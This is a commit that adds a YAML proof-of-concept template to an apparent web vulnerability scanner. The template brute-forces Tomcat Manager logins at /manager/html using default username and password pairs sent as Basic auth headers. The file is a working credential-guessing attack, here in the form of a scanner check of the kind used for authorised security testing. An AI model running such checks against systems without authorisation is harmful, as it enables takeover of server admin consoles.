修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

WebScan/pocs/tomcat-manager-week.yml

@@ -0,0 +1,27 @@
+name: poc-yaml-tomcat-manager-week
+sets:
+  username:
+    - tomcat
+    - admin
+  password:
+    - tomcat
+    - admin
+    - 123456
+  payload:
+    - base64(username+":"+password)
+rules:
+  - method: GET
+    path: /manager/html
+    follow_redirects: false
+    expression: |
+      response.status == 401  && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager")
+  - method: GET
+    path: /manager/html
+    headers:
+      Authorization: Basic {{payload}}
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager")
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)
+